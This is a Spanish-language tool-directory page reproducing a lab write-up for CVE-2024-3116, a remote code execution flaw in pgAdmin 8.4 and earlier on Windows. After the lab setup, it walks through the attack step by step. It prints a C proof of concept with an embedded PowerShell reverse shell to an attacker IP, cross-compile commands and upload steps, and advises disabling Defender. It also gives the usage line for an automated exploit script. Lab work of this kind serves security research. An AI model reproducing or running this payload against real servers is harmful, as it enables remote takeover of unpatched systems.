Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-3116_RCE_in_pgadmin_8.4 — Creando un laboratorio y probando el CVE-2024-3116, una ejecución remota de código en pgadmin <=8.4 | Kitploit
Herramientas/GitHubGitHub/techieneurons/cve-2024-3116_rce_in_pgadmin_8.4
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsLabs y Práctica
GitHubtechieneurons/cve-2024-3116_rce_in_pgadmin_8.4

CVE-2024-3116_RCE_in_pgadmin_8.4

Creando un laboratorio y probando el CVE-2024-3116, una ejecución remota de código en pgadmin <=8.4

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
132hace 2 añosAún no revisado

CVE-2024-3116_RCE_in_pgadmin_8.4

Creando un laboratorio y probando la CVE-2024-3116, una ejecución remota de código en pgadmin <=8.4

Usé este artículo como base.

Instalación del laboratorio

Primero un pequeño comentario sobre este laboratorio: la documentación de pgadmin es bastante mala y no encontré rastro de nadie instalando pgadmin en windows...

  1. El autor dijo que la vulnerabilidad solo está presente en windows, así que usaré la VM de windows 11 proporcionada por Microsoft (aquí)
  2. Después de instalar la VM, instalo python 3.10.0 (hice algunas pruebas con 3.11 y 3.12, pero tuve algunos problemas de dependencias, así que vamos con 3.10)
  3. Instalar postgresql 16.2 (sin pgadmin, y puse "password" como contraseña para mi postgresql, no es muy importante en nuestro caso)
  4. Se recomienda instalar pgadmin en un virtualenv de python. Lo intenté y no funcionó, ¡así que AL DIABLO CON VENV!
  5. Actualizar pip: python -m pip install -U pip
  6. Instalar wheel: python -m pip install wheel
  7. Descargar el código fuente: https://www.postgresql.org/ftp/pgadmin/pgadmin4/ > 8.4 > pip > descargar el archivo .whl
  8. Instalar pgadmin4: python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
    • Carpeta de instalación: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4
  9. Configuremos:
    • En el archivo: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, añadir la siguiente línea:
    root@kitploit:~
    LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
    SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
    SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
    STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
    SERVER_MODE = True 
    
    • Crear las carpetas que no existen (pgadmin4\log, pgadmin4\sessions, pgadmin4\storage)
    • Crear la carpeta: C:\Users\User\AppData\Roaming\pgAdmin (necesaria para setup.py)
    • En la carpeta de instalación de pgadmin4 (ver 8), ejecutar: python site-packages/pgadmin4/setup.py setup-db. Puse Email = [email protected] y Password = password (este email y contraseña son importantes porque los necesitamos para conectarnos a pgadmin)

Luego el servidor web:

  1. Instalar XAMPP (puedes desmarcar todo, solo necesitas apache)
  2. Añadir la variable de entorno: MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apache
  3. Instalar mod-wsgi: pip install mod-wsgi
  4. Obtener la configuración: mod_wsgi-express module-config
  5. Copiar el resultado del comando anterior al final del archivo httpd.conf de apache
  6. Para terminar, lanzar el servidor con (desde la carpeta de instalación de pgadmin): mod_wsgi-express start-server .\pgAdmin4.wsgi (debería ser accesible en el puerto 8000)

Explotemos

Explotaré la vulnerabilidad desde una máquina Kali que está en la misma red que pgadmin.

  • Kali = 192.168.112.128
  • Windows = 192.168.112.162

De nuevo: ¡Este exploit solo funciona contra pgadmin en windows! ¡Y necesitamos un usuario válido para explotar esta vulnerabilidad!

  1. Quiero una reverse shell, así que tomé el PoC del blogpost enlazado al principio de este archivo y puse la IP de mi Kali para probar:
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
	if (argc > 1 && strcmp(argv[1], "--version") == 0) {
    	system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
	} else {
    	printf("Usage: %s --version\n", argv[0]);
	}
	return 0;
}
  1. Como el PoC es un programa en C para windows, usemos un cross-compiler:
    • Instalar un cross-compiler: sudo apt-get install mingw-w64
    • Crear un archivo con el PoC mencionado anteriormente y compilar con: x86_64-w64-mingw32-gcc -o pg_restore poc.c compilación para windows desde linux
  2. El nombre del binario debe ser pg_ (o psql) para que se ejecute; debe ser una herramienta conocida de postgresql
  3. Lanzar burp y configurar tu navegador para que pase por burp y así ver la petición de subida
  4. Subamos este archivo a través de la interfaz (después de iniciar sesión con [email protected]): Tools > Import/Export Servers > ‘clic en el pequeño icono de carpeta’ > ‘Clic en los tres puntos en la esquina superior derecha de la ventana de selección de archivos y seleccionar upload’ > ‘seleccionar el binario PoC’ petición de subida de archivo
  5. Para comprobarlo, ve a windows y en la carpeta de almacenamiento que creamos (C:\Users\User\pgadmin4\storage) podemos ver el archivo
  6. TAMBIÉN MUY IMPORTANTE: la respuesta de la petición de subida contiene la ruta al exe que subimos, será importante para después
  7. Lanzar un netcat (nc -lvnp 9001) para recibir la respuesta: ¡¡¡IMPORTANTE !!!!!!!!! Defender impedirá la ejecución del binario (así que desactiva defender)
  8. Luego iremos a la interfaz y haremos clic en: y añadiremos la ruta que obtuvimos en la respuesta a la subida del archivo en el cuadro de texto que dice frente a postgresql 16. Finalmente, hacer clic en el icono del cuadro de texto para activar el PoC

Exploit

Escribí un script en python para explotar esta vulnerabilidad automáticamente, casi no hay que hacer nada.

Cosas que debes saber antes de usar este script:

  • Necesitamos un proxy para interceptar la respuesta de la subida del archivo y así poder darle la ruta del archivo al script. Personalmente uso Burp.
  • Todo el script usa selenium, así que lo necesitarás (pip install selenium)
  • El script ejecuta un comando para compilar el binario enviado, así que necesitas instalar el cross-compiler: sudo apt-get install mingw-w64
  • Necesitas lanzar un netcat en otra terminal con el puerto en el que quieras recibir la conexión (nc -lvnp <puerto>)
  • Este script proporciona una reverse shell

Para usar este exploit usa este comando: python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>

Demo

Una pequeña demo: https://youtu.be/zdMC3kbN0Is

Referencias

Todos estos enlaces me ayudaron a instalar pgadmin en windows:

  • https://www.digitalocean.com/community/tutorials/how-to-install-configure-pgadmin4-server-mode
  • https://www.pgadmin.org/docs/pgadmin4/development/server_deployment.html
  • https://pypi.org/project/mod-wsgi/
  • https://stackoverflow.com/questions/59801387/how-to-install-mod-wsgi-into-apache-on-windows
  • https://stackoverflow.com/questions/44670209/how-to-compile-c-code-in-linux-to-run-on-windows
Descargar herramienta
File > Preferences > Binary Paths
Enter binary path...
petición que activa el PoC
  • ¡A disfrutar! reverse shell obtenida